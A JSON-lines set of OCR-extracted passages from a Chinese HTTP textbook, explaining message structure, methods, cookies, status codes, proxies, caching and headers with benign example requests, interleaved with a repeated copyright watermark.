    {"text": "请求报文是由请求方法、请求 URI、协议版本、可选的请求首部字 段和内容实体构成的。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 方法 URI 协议版本 请求首部字段 POST /form/entry HTTP/1.1 Host: hackr.jp Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 16 name=ueno&age=37 内容实体 图：请求报文的构成 请求首部字段及内容实体稍后会作详细说明。"},
    {"text": "024 HTTP/1.1 200 OK Date: Tue, 10 Jul 2012 06:50:15 GMT Content-Length: 362 Content-Type: text/html <html> …… 在起始行开头的 HTTP/1.1 表示服务器对应的 HTTP 版本。"},
    {"text": "响应报文基本上由协议版本、状态码（表示请求成功或失败的数字 代码）、用以解释状态码的原因短语、可选的响应首部字段以及实体主 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 2 章 简单的 HTTP 协议 体构成。"},
    {"text": "状态码的原因短语 协议版本 状态码 响应首部字段 HTTP/1.1 200 OK Date: Tue, 10 Jul 2012 06:50:15 GMT Content-Length: 362 Content-Type: text/html <html> … 主体 图：响应报文的构成 2.3 HTTP 是不保存状态的协议 025 HTTP 是一种不保存状态，即无状态（stateless）协议。"},
    {"text": "这是为了更 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 快地处理大量事务，确保协议的可伸缩性，而特意把 HTTP 协议设计成 如此简单的。"},
    {"text": "URI http://www.usagidesign.jp/photo/usagi.htm www.usagidesign.jp URI http://hackr.jp/ hackr.jp 客户端 URI http://www.example.com/auth/index.htm www.example.com 图：HTTP 协议使用 URI 让客户端定位到资源 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 2 章 简单的 HTTP 协议 当客户端请求访问资源而发送请求时，URI 需要将作为请求报文中 的请求 URI 包含在内。"},
    {"text": "・URI为完整的请求URI GET http://hackr.jp/index.htm HTTP/1.1 请求 URI ・在首部字段Host中写明网络域名或IP地址 GET /index.htm HTTP/1.1 Host: hackr.jp 图：以 http://hackr.jp/index.htm 作为请求的例子 除此之外，如果不是访问特定资源而是对服务器本身发起请求，可 027 以用一个 * 来代替请求 URI。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 我想访问你的 某个资源啊 GET 客户端 服务器 使用 GET 方法的请求·响应的例子 GET /index.html HTTP/1.1 请求 Host: www.hackr.jp 响应 返回 index.html 的页面资源 GET /index.html HTTP/1.1 请求 Host: www.hackr.jp If-Modified-Since: Thu, 12 Jul 2012 07:30:00 GMT 028 仅返回 2012 年 7 月 12 日 7 点 30 分以后更新过的 index.html 页面资源。"},
    {"text": "响应 如果未有内容更新，则以状态码 304 Not Modified 作为响应返回 POST：传输实体主体 POST 方法用来传输实体的主体。 虽然用 GET 方法也可以传输实体的主体，但一般不用 GET 方法进 行 传 输， 而 是 用 POST 方 法。 虽 说 POST 的 功 能 与 GET 很 相 似， 但 POST 的主要目的并不是获取响应的主体内容。"},
    {"text": "POST 客户端 服务器 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 2 章 简单的 HTTP 协议 使用 POST 方法的请求·响应的例子 POST /submit.cgi HTTP/1.1 请求 Host: www.hackr.jp Content-Length: 1560（1560 字节的数据） 响应 返回 submit.cgi 接收数据的处理结果 PUT：传输文件 PUT 方法用来传输文件。"},
    {"text": "但是，鉴于 HTTP/1.1 的 PUT 方法自身不带验证机制，任何人都可 以上传文件 , 存在安全性问题，因此一般的 Web 网站不使用该方法。 若 配合 Web 应用程序的验证机制，或架构设计采用 REST（REpresentational State Transfer，表征状态转移）标准的同类 Web 网站，就可能会开放使 用 PUT 方法。"},
    {"text": "文件 PUT 客户端 服务器 使用 PUT 方法的请求·响应的例子 PUT /example.html HTTP/1.1 Host: www.hackr.jp 请求 Content-Type: text/html Content-Length: 1560（1560 字节的数据） 响应① 响应返回状态码 204 No Content（比如 ：该 html 已存在于服务器上） A 响应的意思其实是请求执行成功了，但无数据返回。"},
    {"text": "HEAD 客户端 服务器 图：和 GET 一样，但不返回报文主体 使用 HEAD 方法的请求·响应的例子 030 HEAD /index.html HTTP/1.1 请求 Host: www.hackr.jp 响应 返回 index.html 有关的响应首部 DELETE：删除文件 DELETE 方法用来删除文件，是与 PUT 相反的方法。"},
    {"text": "快把那份文件 文件 删掉吧 ~ DELETE 客户端 服务器 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 2 章 简单的 HTTP 协议 使用 DELETE 方法的请求·响应的例子 DELETE /example.html HTTP/1.1 请求 Host: www.hackr.jp 响应 响应返回状态码 204 No Content（比如 ：该 html 已从该服务器上删除） OPTIONS：询问支持的方法 OPTIONS 方法用来查询针对请求 URI 指定的资源支持的方法。"},
    {"text": "HEAD 方法 OPTIONS 客户端 服务器 031 使用 OPTIONS 方法的请求·响应的例子 OPTIONS * HTTP/1.1 请求 Host: www.hackr.jp HTTP/1.1 200 OK 响应 Allow: GET, POST, HEAD, OPTIONS （返回服务器支持的方法） TRACE：追踪路径 TRACE 方法是让 Web 服务器端将之前的请求通信环回给客户端的 方法。"},
    {"text": "发送请求时，在 Max-Forwards 首部字段中填入数值，每经过一个 服务器端就将该数字减 1，当数值刚好减到 0 时，就停止继续传输，最 后接收到请求的服务器端则返回状态码 200 OK 的响应。"},
    {"text": "客户端通过 TRACE 方法可以查询发送出去的请求是怎样被加工修 改 / 篡改的。 这是因为，请求想要连接到源目标服务器可能会通过代理 中转，TRACE 方法就是用来确认连接过程中发生的一系列操作。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 但是，TRACE 方法本来就不怎么常用，再加上它容易引发 XST （Cross-Site Tracing，跨站追踪）攻击，通常就更不会用到了。"},
    {"text": "可能被篡改 这样的请求 TRACE TRACE TRACE 客户端 代理服务器 代理服务器 服务器 Max-Forwards: 2 Max-Forwards: 1 Max-Forwards: 0 使用 TRACE 方法的请求·响应的例子 TRACE / HTTP/1.1 请求 Host: hackr.jp 032 Max-Forwards: 2 HTTP/1.1 200 OK Content-Type: message/http Content-Length: 1024 响应 TRACE / HTTP/1.1 Host: hackr.jp Max-Forwards: 2（返回响应包含请求内容） CONNECT：要求用隧道协议连接代理 CONNECT 方法要求在与代理服务器通信时建立隧道，实现用隧道 协议进行 TCP 通信。"},
    {"text": "CONNECT 代理服务器名 : 端口号 HTTP 版本 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 2 章 简单的 HTTP 协议 让我通过 一下吧 CONNECT 隧道 客户端 代理服务器 服务器 使用 CONNECT 方法的请求·响应的例子 CONNECT proxy.hackr.jp:8080 HTTP/1.1 请求 Host: proxy.hackr.jp 响应 HTTP/1.1 200 OK（之后进入网络隧道） 2.6 使用方法下达命令 033 向请求 URI 指定的资源发送请求报文时，采用称为方法的命令。"},
    {"text": "PUT 方法 我发文件过来啦 ~ 客户端 HEAD 方法 服务器 告诉我通信状态 图：使用方法给服务器下达命令 下表列出了 HTTP/1.0 和 HTTP/1.1 支持的方法。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 表 2-1：HTTP/1.0 和 HTTP/1.1 支持的方法 方法 说明 支持的 HTTP 协议版本 GET 获取资源 1.0、1.1 POST 传输实体主体 1.0、1.1 PUT 传输文件 1.0、1.1 HEAD 获得报文首部 1.0、1.1 DELETE 删除文件 1.0、1.1 OPTIONS 询问支持的方法 1.1 TRACE 追踪路径 1.1 CONNECT 要求用隧道协议连接代理 1.1 LINK 建立和资源之间的联系 1.0 UNLINE 断开连接关系 1.0 在这里列举的众多方法中，LINK 和 UNLINK 已被 HTTP/1.1 废弃， 不再支持。"},
    {"text": "建立 TCP 连接 SYN SYN/ACK ACK HTTP 请求 HTTP 响应 FIN 客户端 ACK 服务器 ACK FIN ACK 断开 TCP 连接 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 2 章 简单的 HTTP 协议 以当年的通信情况来说，因为都是些容量很小的文本传输，所以即 使这样也没有多大问题。"},
    {"text": "035 获取 HTML 文档 建立 TCP 连接 必须进行多次通信， HTTP 请求 / 响应 好累…… 断开 TCP 连接 获取图片 建立 TCP 连接 HTTP 请求 / 响应 客户端 断开 TCP 连接 服务器 获取图片 建立 TCP 连接 HTTP 请求 / 响应 断开 TCP 连接 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 2.7.1 持久连接 为解决上述 TCP 连接的问题，HTTP/1.1 和一部分的 HTTP/1.0 想出 了持久连接（HTTP Persistent Connections，也称为 HTTP keep-alive 或 HTTP connection reuse）的方法。 持久连接的特点是，只要任意一端没 有明确提出断开连接，则保持 TCP 连接状态。"},
    {"text": "HTTP请求 资源了 HTTP响应 HTTP请求 HTTP响应 036 HTTP请求 客户端 HTTP响应 服务器 FIN ACK FIN ACK 断开TCP连接 图：持久连接旨在建立 1 次 TCP 连接后进行多次请求和响应的交互 持久连接的好处在于减少了 TCP 连接的重复建立和断开所造成的 额外开销，减轻了服务器端的负载。"},
    {"text": "虽然有一部分服务器通过非标准的手段实现了持久连接， 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 2 章 简单的 HTTP 协议 但服务器端不一定能够支持持久连接。"},
    {"text": "管线化技术 出现后，不用等待响应亦可直接发送下一个请求。 这样就能够做到同时并行发送多个请求，而不需要一个接一个地等 待响应了。 不用等待就能直接 发送下一个请求！"},
    {"text": "建立TCP连接 HTTP请求① 037 HTTP请求② HTTP响应① HTTP响应② 客户端 服务器 断开TCP连接 图：不等待响应，直接发送下一个请求 比如，当请求一个包含 10 张图片的 HTML Web 页面，与挨个连接 相比，用持久连接可以让请求更快结束。"},
    {"text": "假设要求登录认证的 Web 页面本身无法进行状态的管理（不记录 已登录的状态），那么每次跳转新页面不是要再次登录，就是要在每次 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 请求报文中附加参数来管理登录状态。"},
    {"text": "让我一一记住你 们，我的身体可 吃不消啊 客户端 客户端 客户端 客户端 服务器 图：如果让服务器管理全部客户端状态则会成为负担 038 保留无状态协议这个特征的同时又要解决类似的矛盾问题，于是引 入了 Cookie 技术。 Cookie 技术通过在请求和响应报文中写入 Cookie 信 息来控制客户端的状态。 Cookie 会根据从服务器端发送的响应报文内的一个叫做 Set-Cookie 的首部字段信息，通知客户端保存 Cookie。 当下次客户端再往该服务器 发送请求时，客户端会自动在请求报文中加入 Cookie 值后发送出去。 服务器端发现客户端发送过来的 Cookie 后，会去检查究竟是从哪 一个客户端发来的连接请求，然后对比服务器上的记录，最后得到之前 的状态信息。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 2 章 简单的 HTTP 协议 ● ● 没有 Cookie 信息状态下的请求 生成Cookie 记住是向谁发送的 ①保存请求 请求 ②在响应中添加Cookie后返回 响应 客户端 保存Cookie ＋ 服务器 Cookie Cookie ● ● 第 2 次以后（存有 Cookie 信息状态）的请求 ④检查Cookie ③请求中添加Cookie后发送 039 请求 ＋ 客户端 Cookie 服务器 响应 啊，是刚才的 那家伙 上图展示了发生 Cookie 交互的情景，HTTP 请求报文和响应报文的 内容如下。 ①请求报文（没有 Cookie 信息的状态） GET /reader/ HTTP/1.1 Host: hackr.jp * 首部字段内没有 Cookie 的相关信息 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 ②响应报文（服务器端生成 Cookie 信息） HTTP/1.1 200 OK Date: Thu, 12 Jul 2012 07:12:20 GMT Server: Apache ＜Set-Cookie: sid=1342077140226724; path=/; expires=Wed, 10-Oct-12 07:12:20 GMT ＞ Content-Type: text/plain; charset=UTF-8 ③请求报文（自动发送保存着的 Cookie 信息） GET /image/ HTTP/1.1 Host: hackr.jp Cookie: sid=1342077140226724 有关请求报文和响应报文内 Cookie 对应的首部字段，请参考之后 040 的章节。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Chapter3 第 3 章 HTTP 报文内的 HTTP 信息 HTTP通信过程包括从客户端发往服务器端的请求及从服务器端 返回客户端的响应。"},
    {"text": "【报文首部】 报文首部 服务器端或客户端需处理的请求或响应的内容及属性 空行（CR+LF） 【CR＋LF】 CR（Carriage Return，回车符：16 进制 0x0d）和 LF（Line Feed，换行符：16 进制 0x0a） 报文主体 【报文主体】 应被发送的数据 042 图：HTTP 报文的结构 3.2 请求报文及响应报文的结构 我们来看一下请求报文和响应报文的结构。 请求行 报文首部 请求首部字段 空行（CR＋LF） 通用首部字段 实体首部字段 报文主体 其他 状态行 报文首部 响应首部字段 空行（CR＋LF） 通用首部字段 实体首部字段 报文主体 其他 图：请求报文（上）和响应报文（下）的结构 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 3 章 HTTP 报文内的 HTTP 信息 GET / HTTP/1.1 请求行 Host: hackr.jp User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ja,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache 各种首部字段 空行（CR＋LF） HTTP/1.1 200 OK 状态行 Date: Fri, 13 Jul 2012 02:45:26 GMT Server: Apache Last-Modified: Fri, 31 Aug 2007 02:02:20 GMT ETag: \"45bae1-16a-46d776ac\" Accept-Ranges: bytes Content-Length: 362 Connection: close Content-Type: text/html 各种首部字段 空行（CR＋LF） <html xmlns=\"http://www.w3.org/1999/xhtml\"> <head> 043 <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>hackr.jp</title> </head> <body> <img src=\"hackr.gif\" alt=\"hackr.jp\" width=\"240\" height=\"84\" /> </body> </html> 报文主体 图：请求报文（上）和响应报文（下）的实例 请求报文和响应报文的首部内容由以下数据组成。"},
    {"text": "3.3.1 报文主体和实体主体的差异 044 ● ● 报文● （message） 是 HTTP 通信中的基本单位，由 8 位组字节流（octet sequence， 其中 octet 为 8 个比特）组成，通过 HTTP 通信传输。"},
    {"text": "● ● gzip（GNU●zip） ● ● compress（UNIX 系统的标准压缩） ● ● deflate（zlib） ● ● identity（不进行编码） 3.3.3 分割发送的分块传输编码 在 HTTP 通信过程中，请求的编码实体资源尚未全部传输完成之 前，浏览器无法显示请求页面。"},
    {"text": "这种把实体主体分块的功能称为分块传输编码（Chunked Transfer Coding）。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 先将实体主体分割变小 分割物称为 后再发送 块（chunk） 分割！"},
    {"text": "这是因 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 3 章 HTTP 报文内的 HTTP 信息 为采用了 MIME（Multipurpose Internet Mail Extensions，多用途因特网 邮件扩展）机制，它允许邮件处理文本、图片、视频等多个不同类型的 数据。"},
    {"text": "047 ● ● ●multipart/form-data Content-Type: multipart/form-data; boundary=AaB03x --AaB03x Content-Disposition: form-data; name=\"field1\" Joe Blow --AaB03x Content-Disposition: form-data; name=\"pics\"; filename=\"file1.txt\" Content-Type: text/plain ...（file1.txt的数据）... --AaB03x-- ● ● ●multipart/byteranges HTTP/1.1 206 Partial Content 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Date: Fri, 13 Jul 2012 02:45:26 GMT Last-Modified: Fri, 31 Aug 2007 02:02:20 GMT Content-Type: multipart/byteranges; boundary=THIS_STRING_SEPARATES --THIS_STRING_SEPARATES Content-Type: application/pdf Content-Range: bytes 500-999/8000 ...（范围指定的数据）... --THIS_STRING_SEPARATES Content-Type: application/pdf Content-Range: bytes 7000-7999/8000 ...（范围指定的数据）... --THIS_STRING_SEPARATES-- 在 HTTP 报文中使用多部分对象集合时，需要在首部字段里加上 048 Content-type。"},
    {"text": "使用 boundary 字符串来划分多部分对象集合指明的各类实体。 在 boundary 字符串指定的各个实体的起始行之前插入“--”标记（例如： --AaB03x、--THIS_STRING_SEPARATES），而在多部分对象集合对应 的字符串的最后插入“--”标记（例如：--AaB03x--、--THIS_STRING_ SEPARATES--）作为结束。"},
    {"text": "GET /tip.jpg HTTP/1.1 把剩余 Host: www.usagidesign.jp 的部分 Range: bytes =5001-10000 传给我 客户端 服务器 049 HTTP/1.1 206 Partial Content Date: Fri, 13 Jul 2012 04:39:17 GMT Content-Range: bytes 5001-10000/10000 Content-Length: 5000 Content-Type: image/jpeg 执行范围请求时，会用到首部字段 Range 来指定资源的 byte 范围。"},
    {"text": "● ● 5001~10●000●字节 Range: bytes=5001-10000 ● ● 从 5001●字节之后全部的 Range: bytes=5001- 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 ● ● 从一开始到 3000●字节和 5000~7000●字节的多重范围 Range: bytes=-3000, 5000-7000 针对范围请求，响应会返回状态码为 206 Partial Content 的响应报 文。"},
    {"text": "比如英语版 050 和中文版的 Web 页面，它们内容上虽相同，但使用的语言却不同。 当浏览器的默认语言为英语或中文，访问相同 URI 的 Web 页面时， 则会显示对应的英语版或中文版的 Web 页面。"},
    {"text": "浏览器的默认语言为英语 显示英语页面 浏览器的默认语言为中文 显示中文页面 图：访问 http://www.google.com/ 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 3 章 HTTP 报文内的 HTTP 信息 内容协商机制是指客户端和服务器端就响应的资源内容进行交涉， 然后提供给客户端最为适合的资源。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Chapter4 第 4 章 返回结果的 HTTP 状态码 HTTP 状态码负责表示客户端 HTTP 请求的返回结果、标记服务器 端的处理是否正常、通知出现的错误等工作。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 4.1 状态码告知从服务器端返回的请求结果 状态码的职责是当客户端向服务器端发送请求时，描述返回的请求 结果。 借助状态码，用户可以知道服务器端是正常处理了请求，还是出 现了错误。"},
    {"text": "客户端 错误：状态码 4XX、5XX 发送请求 054 似乎不行啊…… 服务器 图：响应的状态码可描述请求的处理结果 状态码如 200 OK，以 3 位数字和原因短语组成。"},
    {"text": "表 4-1：状态码的类别 类别 原因短语 1XX Informational（信息性状态码） 接收的请求正在处理 2XX Success（成功状态码） 请求正常处理完毕 3XX Redirection（重定向状态码） 需要进行附加操作以完成请求 4XX Client Error（客户端错误状态码） 服务器无法处理请求 5XX Server Error（服务器错误状态码） 服务器处理请求出错 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 4 章 返回结果的 HTTP 状态码 只要遵守状态码类别的定义，即使改变 RFC2616 中定义的状态码， 或服务器端自行创建状态码都没问题。"},
    {"text": "仅 记 录 在 RFC2616 上 的 HTTP 状 态 码 就 达 40 种， 若 再 加 上 WebDAV（Web-based Distributed Authoring and Versioning，基于万维网 的分布式创作和版本控制）（RFC4918、5842）和附加 HTTP 状态码 （RFC6585）等扩展，数量就达 60 余种。"},
    {"text": "像下方给出的请求 URI，当指定资源路径的最后忘记添加斜杠 “/”，就会产生 301 状态码。 057 http://example.com/sample 4.3.2 302Found 资源的 URI 已临时定位到 其他位置了。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 和 301 Moved Permanently 状态码相似，但 302 状态码代表的资源 不是被永久移动，只是临时性质的。"},
    {"text": "虽然 RFC 1945 和 RFC 2068 规范不允许客户端在重定向时改变请求 的方法，但是很多现存的浏览器将 302 响应视为 303 响应，并且使用 GET 方 式访问在 Location 中规定的 URI，而无视原先请求的方法。"},
    {"text": "——译者注 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 4 章 返回结果的 HTTP 状态码 当 301、302、303 响应状态码返回时，几乎所有的浏览器都会把 POST 改成 GET，并删除请求报文内的主体，之后请求会自动再次发送。"},
    {"text": "4.3.4 304NotModified 资源已找到，但未符合条件 请求…… 059 附带条件的请求 客户端 缓存服务器 该状态码表示客户端发送附带条件的请求 A 时，服务器端允许请求 访问资源，但未满足条件的情况。"},
    {"text": "4.4.2 401Unauthorized 发送请求 客户端 服务器 第 1 次返回 401 本页面需认证 第 2 次返回 401 认证失败 （请求中已包含 Authorization credentials） Authorization Required This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required. 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 4 章 返回结果的 HTTP 状态码 该状态码表示发送的请求需要有通过 HTTP 认证（BASIC 认证、 DIGEST 认证）的认证信息。"},
    {"text": "4.4.4 404NotFound 服务器上没有请求的资源 Not Found The requested URL /a was not found on this server. 服务器 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 该状态码表明服务器上无法找到请求的资源。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 4 章 返回结果的 HTTP 状态码 状态码和状况的不一致 不少返回的状态码响应都是错误的，但是用户可能察觉不到这点。"},
    {"text": "063 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Chapter5 第 5 章 与 HTTP 协作的 Web 服务器 一台 Web 服务器可搭建多个独立域名的 Web 网站，也可作为通信 路径上的中转服务器提升传输效率。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 5.1 用单台虚拟主机实现多个域名 HTTP/1.1 规范允许一台 HTTP 服务器搭建多个 Web 站点。"},
    {"text": "这是因为利用了虚拟主机（Virtual Host，又称虚拟服务器）的功能。 即使物理层面只有一台服务器，但只要使用虚拟主机的功能，则可 以假想已具有多台服务器。"},
    {"text": "实际仅有一台，表面 看上去有多台 www.tricorder.jp 066 物理层面的服务器 虚拟主机 www.hackr.jp 虚拟主机 xss.hackr.jp 客户端使用 HTTP 协议访问服务器时，会经常采用类似 www.hackr. jp 这样的主机名和域名。"},
    {"text": "所以，如果一台服务器内托管了 www.tricorder.jp 和 www.hackr.jp 这两个域名，当收到请求时就需要弄清楚究竟要访问哪个域名。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 5 章 与 HTTP 协作的 Web 服务器 http://www.tricorder.jp/ http://www.hackr.jp/ 服务器 若 www.tricorder.jp 和 www.hackr.jp 同时部署在同一个服务 器上（相同的 IP 地址），使用 DNS 服务解析域名后，两者的访 问 IP 地址会相同。"},
    {"text": "http://203.189.105.112/ 在相同的 IP 地址下，由于虚拟主机可以寄存多个不同主机名和域 名的 Web 网站，因此在发送 HTTP 请求时，必须在 Host 首部内完整指 定主机名或域名的 URI。"},
    {"text": "067 5.2 通信数据转发程序：代理、网关、隧道 HTTP 通信时，除客户端和服务器以外，还有一些用于通信数据转 发的应用程序，例如代理、网关和隧道。"},
    {"text": "代理 代理是一种有转发功能的应用程序，它扮演了位于服务器和客户端 “中间人”的角色，接收由客户端发送的请求并转发给服务器，同 时也接收服务器返回的响应并转发给客户端。 网关 网关是转发其他服务器通信数据的服务器，接收从客户端发送来的 请求时，它就像自己拥有资源的源服务器一样对请求进行处理。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 隧道 隧道是在相隔甚远的客户端和服务器两者之间进行中转，并保持双 方通信连接的应用程序。"},
    {"text": "5.2.1 代理 GET / HTTP/1.1 GET / HTTP/1.1 客户端 代理服务器 源服务器 HTTP/1.1 200 OK HTTP/1.1 200 OK 代理服务器的基本行为就是接收客户端发送的请求后转发给其他 068 服务器。"},
    {"text": "GET / HTTP/1.1 GET / HTTP/1.1 GET / HTTP/1.1 Via: proxy1 Via: proxy2, proxy1 客户端 代理服务器 代理服务器 源服务器 proxy1 proxy2 HTTP/1.1 200 OK HTTP/1.1 200 OK Via: proxy2, proxy1 Via: proxy2 HTTP/1.1 200 OK 图：每次通过代理服务器转发请求或响应时，会追加写入 Via 首部信息 在 HTTP 通信过程中，可级联多台代理服务器。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 5 章 与 HTTP 协作的 Web 服务器 GET / HTTP/1.1 这个请求无法通过呀 客户端 代理服务器 通过设置组织内部的代理服务器可做到针对特定 URI 访问的控制。"},
    {"text": "使用代理服务器的理由有：利用缓存技术（稍后讲解）减少网络带 宽的流量，组织内部针对特定网站的访问控制，以获取访问日志为主要 目的，等等。"},
    {"text": "069 缓存代理 代理转发响应时，缓存代理（Caching Proxy）会预先将资源的副本 （缓存）保存在代理服务器上。 当代理再次接收到对相同资源的请求时，就可以不从源服务器那里 获取资源，而是将之前缓存的资源作为响应返回。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 5.2.2 网关 非 HTTP 协议通信 HTTP 请求 客户端 HTTP 响应 网关 非 HTTP 服务器 图：利用网关可以由 HTTP 请求转化为其他协议通信 网关的工作机制和代理十分相似。"},
    {"text": "5.2.3 隧道 隧道可按要求建立起一条与其他服务器的通信线路，届时使用 SSL 等加密手段进行通信。 隧道的目的是确保客户端能与服务器进行安全的 通信。"},
    {"text": "隧道本身是透明的， 客户端不用在意隧道的存在 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 5 章 与 HTTP 协作的 Web 服务器 5.3 保存资源的缓存 缓存是指代理服务器或客户端本地磁盘内保存的资源副本。"},
    {"text": "GET /index.htm HTTP/1.1 GET /index.htm HTTP/1.1 客户端 缓存服务器 源服务器 071 转发响应时，复制资源后 index.htm 保存在缓存服务器上 请求的资源如果已经被缓存则直接由缓存 服务器返回给客户端 GET /index.htm HTTP/1.1 会向源服务器确认 index.htm 缓存资源的有效性 客户端 缓存服务器 缓存服务器的优势在于利用缓存可避免多次从源服务器转发资源。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 5.3.1 缓存的有效期限 即便缓存服务器内有缓存，也不能保证每次都会返回对同资源的请 求。"},
    {"text": "即使存在缓存，也会因为客户端的要求、缓存的有效期等因素，向 源服务器确认资源的有效性。 若判断缓存失效，缓存服务器将会再次从 源服务器上获取“新”资源。"},
    {"text": "这个缓存貌似过期了，我 GET /index.htm HTTP/1.1 去向源服务器确认下 072 客户端 缓存服务器 源服务器 index.htm index.htm 上个月的缓存 本月更新的资源 5.3.2 客户端的缓存 缓存不仅可以存在于缓存服务器内，还可以存在客户端浏览器中。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 5 章 与 HTTP 协作的 Web 服务器 这个缓存似乎过期 了，我向源服务器 确认下 客户端 源服务器 index.htm 在 HTTP 出现之前的协议 在 HTTP 普及之前，也就是从互联网的诞生期至今，曾出现过各式各 073 样的协议。"},
    {"text": "074 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Chapter6 第 6 章 HTTP 首部 HTTP 协议的请求和响应报文中必定包含 HTTP 首部，只是我们平 时在使用 Web 的过程中感受不到它。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 6.1 HTTP 报文首部 在客户端和服务器处理时 报文首部 起至关重要作用的信息几 乎都在这边 空行（CR＋LF） 所需要的用户和资源的信 报文主体 息都在这边 图：HTTP 报文的结构 HTTP 协议的请求和响应报文中必定包含 HTTP 首部。"},
    {"text": "076 HTTP 请求报文 在请求中，HTTP 报文由方法、URI、HTTP 版本、HTTP 首部字段 等部分构成。 请求行 方法、URI、 报文首部 HTTP 版本 请求首部字段 空行 （CR＋LF） 通用首部字段 HTTP 首部字段 实体首部字段 报文主体 其他 图：请求报文 下面的示例是访问 http://hackr.jp 时，请求报文的首部信息。 GET / HTTP/1.1 Host: hackr.jp 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/⇒ 20100101 Firefox/13.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,⇒ */*; q=0.8 Accept-Language: ja,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive If-Modified-Since: Fri, 31 Aug 2007 02:02:20 GMT If-None-Match: \"45bae1-16a-46d776ac\" Cache-Control: max-age=0 HTTP 响应报文 在响应中，HTTP 报文由 HTTP 版本、状态码（数字和原因短语）、 HTTP 首部字段 3 部分构成。 状态行 HTTP 版本、 报文首部 状态码 077 响应首部字段 空行 （CR＋LF） 通用首部字段 HTTP 首部字段 实体首部字段 报文主体 其他 图：响应报文 以下示例是之前请求访问 http://hackr.jp/ 时，返回的响应报文的首 部信息。 HTTP/1.1 304 Not Modified Date: Thu, 07 Jun 2012 07:21:36 GMT Server: Apache Connection: close Etag: \"45bae1-16a-46d776ac\" 在报文众多的字段当中，HTTP 首部字段包含的信息最为丰富。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 首部字段同时存在于请求和响应报文内，并涵盖 HTTP 报文相关的内 容信息。 因 HTTP 版本或扩展规范的变化，首部字段可支持的字段内容略有 不同。 本书主要涉及 HTTP/1.1 及常用的首部字段。 6.2 HTTP 首部字段 6.2.1 HTTP 首部字段传递重要信息 HTTP 首部字段是构成 HTTP 报文的要素之一。 在客户端与服务器 之间以 HTTP 协议进行通信的过程中，无论是请求还是响应都会使用首 部字段，它能起到传递额外重要信息的作用。 使用首部字段是为了给浏览器和服务器提供报文主体大小、所使用 的语言、认证信息等内容。"},
    {"text": "客户端 服务器 图：首部字段内可使用的附加信息较多 6.2.2 HTTP 首部字段结构 HTTP 首部字段是由首部字段名和字段值构成的，中间用冒号“:” 分隔。 首部字段名 : 字段值 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 6 章 HTTP 首部 例如，在 HTTP 首部中以 Content-Type 这个字段来表示报文主体的 对象类型。 Content-Type: text/html 就以上述示例来看，首部字段名为 Content-Type，字符串 text/html 是字段值。 另外，字段值对应单个 HTTP 首部字段可以有多个值，如下所示。"},
    {"text": "通用首部字段（General●Header●Fields） 请求报文和响应报文两方都会使用的首部。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 请求首部字段（Request●Header●Fields） 从客户端向服务器端发送请求报文时使用的首部。"},
